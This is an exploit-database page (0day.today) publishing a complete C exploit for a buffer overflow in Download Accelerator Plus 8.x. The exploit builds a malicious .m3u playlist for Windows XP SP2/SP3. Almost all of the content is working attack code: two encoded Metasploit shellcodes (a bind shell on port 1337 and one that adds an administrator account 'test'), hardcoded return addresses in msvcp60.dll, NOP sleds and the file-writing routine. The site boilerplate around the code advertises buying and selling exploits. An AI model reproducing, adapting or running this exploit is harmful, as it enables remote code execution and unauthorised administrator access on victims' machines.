0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Download Accelerator Plus - DAP 8.x m3u File Buffer Overflow Exploit (c)
======================================================================== Download Accelerator Plus - DAP 8.x m3u File Buffer Overflow Exploit (c) ======================================================================== #include <stdio.h> #include <stdlib.h> /* DAP 8.x (.m3u) File BOF C Exploit for XP SP2,SP3 English SecurityFocus Advisory: Download Accelerator Plus (DAP) is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input. Successfully exploiting this issue may allow remote attackers to execute arbitrary code in the context of the application.Failed exploit attempts will cause denial-of-service conditions. Vulnerability discoverd by Krystian Kloskowski (h07) <h07@interia.pl> This poc will create a "special" .m3u file that when imported in DAP and then checked with the verifiy button will cause a buffer overflow and lead to exploitation.Run the program with no args for usage info or just look in the code. :P Tested on Windows XP English sp2&sp3. C Exploit code by Shinnok raydenxy [at] yahoo dot com /* /* win32_bind - EXITFUNC=seh LPORT=1337 Size=709 Encoder=PexAlphaNum http://metasploit.com */ unsigned char bind_scode[] = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x46\x4b\x4e" "\x4d\x54\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x58" "\x4e\x36\x46\x32\x46\x52\x4b\x48\x45\x34\x4e\x43\x4b\x48\x4e\x57" "\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x34\x4a\x51\x4b\x48" "\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x33\x4b\x38" "\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c" "\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x33\x46\x45\x46\x52\x4a\x42\x45\x57\x45\x4e\x4b\x58" "\x4f\x55\x46\x42\x41\x50\x4b\x4e\x48\x56\x4b\x38\x4e\x30\x4b\x44" "\x4b\x48\x4f\x55\x4e\x31\x41\x30\x4b\x4e\x43\x30\x4e\x52\x4b\x48" "\x49\x38\x4e\x36\x46\x32\x4e\x51\x41\x36\x43\x4c\x41\x33\x4b\x4d" "\x46\x36\x4b\x38\x43\x54\x42\x53\x4b\x38\x42\x34\x4e\x50\x4b\x58" "\x42\x47\x4e\x51\x4d\x4a\x4b\x58\x42\x34\x4a\x50\x50\x55\x4a\x36" "\x50\x58\x50\x34\x50\x50\x4e\x4e\x42\x45\x4f\x4f\x48\x4d\x48\x56" "\x43\x55\x48\x56\x4a\x36\x43\x53\x44\x33\x4a\x46\x47\x37\x43\x47" "\x44\x53\x4f\x55\x46\x45\x4f\x4f\x42\x4d\x4a\x36\x4b\x4c\x4d\x4e" "\x4e\x4f\x4b\x53\x42\x35\x4f\x4f\x48\x4d\x4f\x55\x49\x48\x45\x4e" "\x48\x56\x41\x48\x4d\x4e\x4a\x30\x44\x30\x45\x35\x4c\x36\x44\x50" "\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55" "\x4f\x4f\x48\x4d\x43\x45\x43\x55\x43\x45\x43\x35\x43\x55\x43\x44" "\x43\x45\x43\x34\x43\x55\x4f\x4f\x42\x4d\x48\x56\x4a\x36\x45\x50" "\x49\x43\x48\x56\x43\x45\x49\x58\x41\x4e\x45\x49\x4a\x56\x46\x4a" "\x4c\x31\x42\x37\x47\x4c\x47\x55\x4f\x4f\x48\x4d\x4c\x36\x42\x31" "\x41\x35\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x42" "\x49\x4e\x47\x35\x4f\x4f\x48\x4d\x43\x45\x45\x45\x4f\x4f\x42\x4d" "\x4a\x36\x45\x4e\x49\x34\x48\x48\x49\x44\x47\x55\x4f\x4f\x48\x4d" "\x42\x55\x46\x55\x46\x45\x45\x35\x4f\x4f\x42\x4d\x43\x39\x4a\x56" "\x47\x4e\x49\x37\x48\x4c\x49\x37\x47\x55\x4f\x4f\x48\x4d\x45\x45" "\x4f\x4f\x42\x4d\x48\x56\x4c\x46\x46\x46\x48\x56\x4a\x46\x43\x46" "\x4d\x46\x49\x38\x45\x4e\x4c\x36\x42\x35\x49\x55\x49\x42\x4e\x4c" "\x49\x58\x47\x4e\x4c\x46\x46\x54\x49\x58\x44\x4e\x41\x53\x42\x4c" "\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x42\x50\x4f\x44\x34\x4e\x42" "\x43\x59\x4d\x48\x4c\x37\x4a\x53\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x56" "\x44\x57\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x47\x46\x44\x4f\x4f" "\x48\x4d\x4b\x45\x47\x55\x44\x55\x41\x35\x41\x55\x41\x35\x4c\x46" "\x41\x50\x41\x35\x41\x45\x45\x55\x41\x45\x4f\x4f\x42\x4d\x4a\x36" "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x46" "\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f\x42\x4d\x4b\x58\x47\x35\x4e\x4f" "\x43\x58\x46\x4c\x46\x46\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d" "\x4a\x56\x42\x4f\x4c\x58\x46\x30\x4f\x55\x43\x35\x4f\x4f\x48\x4d" "\x4f\x4f\x42\x4d\x5a"; /* win32_adduser - PASS=test EXITFUNC=seh USER=test Size=489 Encoder=PexAlphaNum http://metasploit.com */ unsigned char user_scode[] = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34" "\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x33\x4b\x58\x4e\x57" "\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x31\x4b\x58" "\x4f\x35\x42\x52\x41\x50\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48" "\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c" "\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x33\x46\x45\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48" "\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x50\x4b\x54" "\x4b\x58\x4f\x55\x4e\x31\x41\x30\x4b\x4e\x4b\x38\x4e\x41\x4b\x58" "\x41\x30\x4b\x4e\x49\x48\x4e\x35\x46\x52\x46\x30\x43\x4c\x41\x43" "\x42\x4c\x46\x46\x4b\x58\x42\x34\x42\x43\x45\x38\x42\x4c\x4a\x47" "\x4e\x30\x4b\x58\x42\x44\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a" "\x4b\x48\x4a\x36\x4a\x50\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b" "\x42\x30\x42\x30\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x55\x41\x43" "\x48\x4f\x42\x36\x48\x45\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x47" "\x42\x45\x4a\x36\x42\x4f\x4c\x58\x46\x30\x4f\x45\x4a\x36\x4a\x39" "\x50\x4f\x4c\x38\x50\x30\x47\x55\x4f\x4f\x47\x4e\x43\x56\x4d\x46" "\x46\x46\x50\x42\x45\x56\x4a\x47\x45\x46\x42\x52\x4f\x52\x43\x36" "\x42\x32\x50\x46\x45\x46\x46\x57\x42\x52\x45\x47\x43\x37\x45\x36" "\x44\x37\x42\x32\x46\x37\x45\x36\x43\x47\x46\x37\x42\x42\x46\x37" "\x45\x36\x43\x37\x46\x37\x42\x52\x4f\x52\x41\x44\x46\x54\x46\x44" "\x42\x52\x48\x42\x48\x32\x42\x32\x50\x36\x45\x56\x46\x57\x42\x42" "\x4e\x36\x4f\x36\x43\x56\x41\x36\x4e\x56\x47\x46\x44\x37\x4f\x36" "\x45\x37\x42\x37\x42\x42\x41\x34\x46\x46\x4d\x56\x49\x56\x50\x46" "\x49\x56\x43\x57\x46\x37\x44\x37\x41\x56\x46\x47\x4f\x56\x44\x37" "\x43\x57\x42\x52\x46\x47\x45\x56\x43\x37\x46\x47\x42\x32\x4f\x52" "\x41\x34\x46\x34\x46\x34\x42\x30\x5a"; unsigned char ra_sp2[] = "\xcf\xbc\x08\x76"; //msvcp60.dll unsigned char ra_sp3[] = "\xe1\xbc\x08\x76"; //msvcp60.dll unsigned char nops1[14115]; //14115 * \x90 unsigned char nops2[30]; //30 * \x90 int main(int argc, char **argv) { int i; FILE* f; char* ra=NULL; char* scode=NULL; printf("[+] Download Accelerator Plus - DAP 8.x (.m3u) File Buffer Overflow Vulnerability\n"); printf("[+] Discovered by Krystian Kloskowski (h07) <h07@interia.pl>\n"); printf("[+] Code by Shinnok raydenxy[at]yahoo dot com\n"); if ((argc!=3)||((atoi(argv[1])!=0)&&(atoi(argv[1])!=1))||((atoi(argv[2])!=0)&&(atoi(argv[2])!=1))){ printf("Usage: %s target payload\n",argv[0]); printf("Where target is:\n"); printf("0: WinXP SP2\n"); printf("1: WinXP SP3\n"); printf("Where payload is:\n"); printf("0: bind shell on 1337\n"); printf("1: add admin user \"test\" with password \"test\"\n"); return EXIT_SUCCESS; } for(i=0;i<14115;i++) nops1[i]='\x90'; nops1[14115]='\0'; for(i=0;i<30;i++) nops2[i]='\x90'; nops2[30]='\0'; if(atoi(argv[1])==0) ra=ra_sp2; else ra=ra_sp3; if(atoi(argv[2])==0) scode=bind_scode; else scode=user_scode; f=fopen("sploit.m3u","wb"); fprintf(f,"http://localhost/%s%s%s%s.mp3%c%c",nops1,ra,nops2,scode,'\xd','\xa'); fflush(f); fclose(f); printf("sploit.m3u created!\n"); return EXIT_SUCCESS; } # 0day.today [2024-12-25] #